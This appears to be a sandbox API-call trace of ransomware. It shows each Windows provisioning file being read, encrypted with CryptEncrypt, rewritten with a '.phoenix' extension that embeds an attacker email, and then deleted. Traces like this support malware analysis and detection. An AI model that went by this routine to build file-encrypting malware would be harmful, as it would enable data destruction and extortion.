	[0232.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\108__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0232.290] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\108__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0232.290] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0232.290] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0232.290] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\108__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0232.291] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151040) returned 1
	[0232.291] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0232.291] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1e0, lpOverlapped=0x0) returned 1
	[0232.292] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0) returned 1
	[0232.292] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1f0, lpOverlapped=0x0) returned 1
	[0232.293] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151580) returned 1
	[0232.293] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0232.293] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0232.293] CryptDestroyKey (hKey=0x151580) returned 1
	[0232.293] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0232.294] CryptDestroyKey (hKey=0x151040) returned 1
	[0232.294] CloseHandle (hObject=0x2c0) returned 1
	[0232.294] CloseHandle (hObject=0x2d4) returned 1
	[0232.294] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\108__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0232.295] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0232.295] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\109__connections_cellular_etisalat misr (egypt)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0232.295] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=715) returned 1
	[0232.296] CloseHandle (hObject=0x2d4) returned 1
	[0232.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\109__connections_cellular_etisalat misr (egypt)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0232.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\109__connections_cellular_etisalat misr (egypt)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0232.296] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\109__connections_cellular_etisalat misr (egypt)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0232.296] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0232.296] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0232.296] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\109__connections_cellular_etisalat misr (egypt)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0232.297] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151180) returned 1
	[0232.297] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0232.297] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cb, lpOverlapped=0x0) returned 1
	[0232.644] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0232.644] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0232.644] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151580) returned 1
	[0232.644] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0232.644] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0232.644] CryptDestroyKey (hKey=0x151580) returned 1
	[0232.645] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0232.645] CryptDestroyKey (hKey=0x151180) returned 1
	[0232.645] CloseHandle (hObject=0x2d4) returned 1
	[0232.645] CloseHandle (hObject=0x2c0) returned 1
	[0232.645] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\109__connections_cellular_etisalat misr (egypt)_i0$(__mvid)@wap.provxml")) returned 1
	[0232.646] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0232.646] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\111__connections_cellular_claro (el salvador)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0232.646] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=656) returned 1
	[0232.646] CloseHandle (hObject=0x2c0) returned 1
	[0232.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\111__connections_cellular_claro (el salvador)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0232.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\111__connections_cellular_claro (el salvador)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0232.646] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\111__connections_cellular_claro (el salvador)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0232.647] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0232.647] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0232.647] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\111__connections_cellular_claro (el salvador)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0232.647] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151580) returned 1
	[0232.647] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0232.647] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x290, lpOverlapped=0x0) returned 1
	[0232.756] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2a0) returned 1
	[0232.756] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2a0, lpOverlapped=0x0) returned 1
	[0232.757] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151280) returned 1
	[0232.757] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0232.757] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0232.757] CryptDestroyKey (hKey=0x151280) returned 1
	[0232.757] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0232.757] CryptDestroyKey (hKey=0x151580) returned 1
	[0232.757] CloseHandle (hObject=0x2c0) returned 1
	[0232.757] CloseHandle (hObject=0x2d4) returned 1
	[0232.758] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\111__connections_cellular_claro (el salvador)_i1$(__mvid)@wap.provxml")) returned 1
	[0232.874] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0232.874] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\114__connections_cellular_tigo (el salvador)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0232.874] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=652) returned 1
	[0232.874] CloseHandle (hObject=0x2c0) returned 1
	[0232.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\114__connections_cellular_tigo (el salvador)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0232.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\114__connections_cellular_tigo (el salvador)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0232.874] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\114__connections_cellular_tigo (el salvador)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0232.874] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0232.875] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0232.875] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\114__connections_cellular_tigo (el salvador)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0232.875] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151700) returned 1
	[0232.875] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0232.875] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x28c, lpOverlapped=0x0) returned 1
	[0234.271] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0234.271] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0234.272] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1510c0) returned 1
	[0234.272] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0234.272] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0234.272] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0234.272] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0234.272] CryptDestroyKey (hKey=0x151700) returned 1
	[0234.272] CloseHandle (hObject=0x2c0) returned 1
	[0234.272] CloseHandle (hObject=0x2f0) returned 1
	[0234.272] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\114__connections_cellular_tigo (el salvador)_i1$(__mvid)@wap.provxml")) returned 1
	[0234.273] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0234.273] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\115__connections_cellular_elisa estonia (estonia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0234.274] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=717) returned 1
	[0234.274] CloseHandle (hObject=0x2f0) returned 1
	[0234.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\115__connections_cellular_elisa estonia (estonia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0234.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\115__connections_cellular_elisa estonia (estonia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0234.274] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\115__connections_cellular_elisa estonia (estonia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0234.274] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0234.274] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0234.274] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\115__connections_cellular_elisa estonia (estonia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0234.275] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
